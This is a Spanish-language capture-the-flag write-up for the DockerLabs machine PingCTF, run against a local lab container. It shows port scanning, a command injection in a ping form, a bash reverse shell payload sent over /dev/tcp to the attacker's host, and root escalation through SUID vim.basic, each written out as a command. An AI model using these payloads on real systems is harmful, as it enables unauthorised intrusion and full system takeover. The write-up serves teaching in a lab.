> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/pingctf.md).
# PingCTF
### **1. Despliegue de la máquina:**
#### **1.1. Descarga:**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina PingCTF y pulsamos el botón de descarga.
Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión:**
Utilizamos `7z` para extraer el contenido del archivo:
```bash
7z x PingCTF.zip
```
#### **1.3. Ejecución en Docker:**
Ejecutamos el script de despliegue, indicando el archivo comprimido como argumento:
```bash
sudo bash auto_deploy.sh ping_ctf.tar
```
Con esto, la máquina queda levantada en el entorno Docker y se le asigna una IP interna (en nuestro caso, `172.17.0.2`).
### **2. Reconocimiento:**
#### **2.1. Verificación de conectividad:**
Comprobamos que la máquina está activa mediante un `ping`:
```bash
ping -c 1 172.17.0.2
```
La respuesta confirma que el host está accesible.
#### **2.2. Escaneo completo de puertos:**
Realizamos un escaneo completo de puertos con `nmap`:
```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oN escaneo_general.txt 172.17.0.2
```
{% hint style="info" %}
**Explicación de los parámetros**
* `-p-`: Escanea todos los puertos, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oN escaneo_general.txt`: Guarda los resultados del escaneo en formato normal, en el archivo `escaneo_general.txt`.
* `172.17.0.2`: Dirección IP del host a escanear.
{% endhint %}
Puerto abierto detectado:
* 80 - HTTP.
#### **2.3. Escaneo detallado de servicios:**
Realizamos un escaneo más exhaustivo sobre el puerto detectado:
```bash
sudo nmap -p80 -sCV -oN escaneo_detallado.txt 172.17.0.2
```
{% hint style="info" %}
**Explicación de los parámetros**
* `-p80`: Especifica el puerto a escanear.
* `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`).
* `-oN escaneo_detallado.txt`: Guarda los resultados del escaneo en formato normal, en el archivo `escaneo_detallado.txt`.
* `172.17.0.2`: Dirección IP del host a escanear.
{% endhint %}
Servicio y versión:
* 80/tcp - Apache httpd 2.4.58 (Ubuntu).
### **3. Enumeración del servicio web:**
#### **3.1. Análisis de la página principal:**
Accedemos a `http://172.17.0.2/` desde el navegador y comprobamos que se trata de una herramienta que permite verificar la conectividad con otras máquinas, ya sea a través de una dirección IP o de un nombre de dominio.
#### **3.2. Análisis de la funcionalidad:**
Todo indica que, por detrás, la aplicación ejecuta el comando `ping -c `, utilizando el valor que introducimos en el campo ``.
Dado este comportamiento, sospechamos que la entrada del usuario podría no estar correctamente sanitizada, lo que permitiría concatenar comandos adicionales tras la ejecución del `ping`. Se trata de una posible vulnerabilidad de inyección de comandos (Command Injection), por lo que decidimos comprobarlo.
#### **3.3. Prueba de inyección de comandos:**
Introducimos la dirección de loopback que aparece por defecto en el formulario y le concatenamos el comando `ls`, quedando de la siguiente forma: `127.0.0.1; ls`.
A continuación, pulsamos el botón de enviar.
Como podemos comprobar, el comando `ls` se ejecuta correctamente y se muestran los archivos existentes en el directorio de trabajo de la aplicación web. Esto confirma que la entrada no está siendo sanitizada correctamente y que disponemos de ejecución de comandos en el sistema, lo cual representa una vulnerabilidad crítica.
### **4. Explotación de la vulnerabilidad de inyección de comandos:**
#### **4.1. Puesta en escucha:**
Dado que disponemos de ejecución de comandos en la máquina objetivo, decidimos aprovechar esta vulnerabilidad para enviarnos una reverse shell.
Antes de nada, nos ponemos en escucha con `netcat` en nuestra máquina atacante:
```bash
sudo nc -nvlp 123
```
#### **4.2. Envío de la reverse shell:**
Concatenamos, a continuación de la dirección de loopback, el comando necesario para enviar una reverse shell hacia nuestra máquina atacante:
```bash
127.0.0.1; bash -c '/bin/bash -i >& /dev/tcp/172.17.0.1/123 0>&1'
```
Introducimos el payload en el campo de texto del formulario y pulsamos el botón de enviar.
Tras enviar la petición, la página se queda cargando indefinidamente, lo cual es indicativo de que el comando se está ejecutando en el servidor.
#### **4.3. Obtención de acceso al sistema:**
Si volvemos a la terminal donde nos habíamos puesto en escucha, comprobamos que hemos recibido la conexión de la reverse shell y que hemos ganado acceso al sistema como el usuario `www-data`.
### **5. Escalada de privilegios:**
#### **5.1. Búsqueda de binarios con permisos SUID:**
Con acceso al sistema, buscamos archivos que tengan activado el permiso SUID, ya que podrían permitirnos escalar privilegios:
```bash
find / -perm -4000 -type f 2>/dev/null
```
{% hint style="info" %}
**Explicación de los parámetros**
* `/`: Indica el punto de partida de la búsqueda, en este caso la raíz del sistema de archivos, de forma que `find` recorra todos los directorios y archivos existentes en la máquina.
* `-perm -4000`: Filtra los archivos que tienen activado el bit SUID, es decir, aquellos que se ejecutan con los permisos del propietario del archivo (en este caso, `root`) independientemente del usuario que los ejecute.
* `-type f`: Limita la búsqueda a archivos, excluyendo directorios y otros tipos de elementos.
* `2>/dev/null`: Redirige los mensajes de error a `/dev/null`, evitando que se muestren en pantalla y dificulten la lectura de los resultados.
{% endhint %}
Entre los binarios encontrados, destaca `/usr/bin/vim.basic`, ya que se trata de un binario conocido por permitir la escalada de privilegios cuando dispone del permiso SUID activado.
#### **5.2. Explotación del binario `vim.basic`:**
Aprovechamos el permiso SUID del binario `/usr/bin/vim.basic` para obtener una shell como el usuario `root`, ejecutando el siguiente comando:
```bash
/usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'
```
{% hint style="info" %}
**Explicación del comando**
* `/usr/bin/vim.basic`: Ruta del binario de Vim que dispone del permiso SUID activado, lo que permite que se ejecute con los privilegios de su propietario (`root`) independientemente del usuario que lo invoque.
* `-c ':comando'`: Indica a Vim que ejecute el comando especificado inmediatamente después de abrir el editor, sin necesidad de interacción manual.
* `py3 import os`: Importa el módulo `os` de Python dentro del intérprete Python 3 embebido en Vim, lo que nos permite interactuar con el sistema operativo desde el propio editor.
* `os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")`: Reemplaza el proceso actual de Vim por una shell de `bash`, heredando los permisos con los que se está ejecutando el binario (los de `root`).
* `"/bin/bash"`: Ruta del ejecutable que se va a lanzar, en este caso la shell de `bash`.
* `"bash"`: Nombre con el que se identifica el proceso lanzado (equivalente al `argv[0]`).
* `"-pc"`: Combina dos modificadores: `-p`, que indica a `bash` que se ejecute en modo privilegiado conservando el UID/GID efectivo heredado (el de `root`), y `-c`, que indica que lo que sigue es una cadena de comandos a ejecutar.
* `"reset; exec bash -p"`: Cadena de comandos ejecutada por `bash -c`. `reset` limpia y reinicializa la terminal, y `exec bash -p` sustituye el proceso actual por una nueva shell interactiva, también en modo privilegiado, dejándonos con una sesión de `root` estable.
{% endhint %}
Al ejecutar el comando, Vim muestra varias líneas de aviso, entre ellas el mensaje `E79: Cannot expand wildcards`, y finalmente el mensaje `Press ENTER or type command to continue`.
Pulsamos Enter para continuar.
#### **5.3. Obtención de acceso como `root`:**
Tras pulsar Enter, obtenemos una shell como el usuario `root` en la máquina objetivo.
Con esto, damos por completada la máquina PingCTF.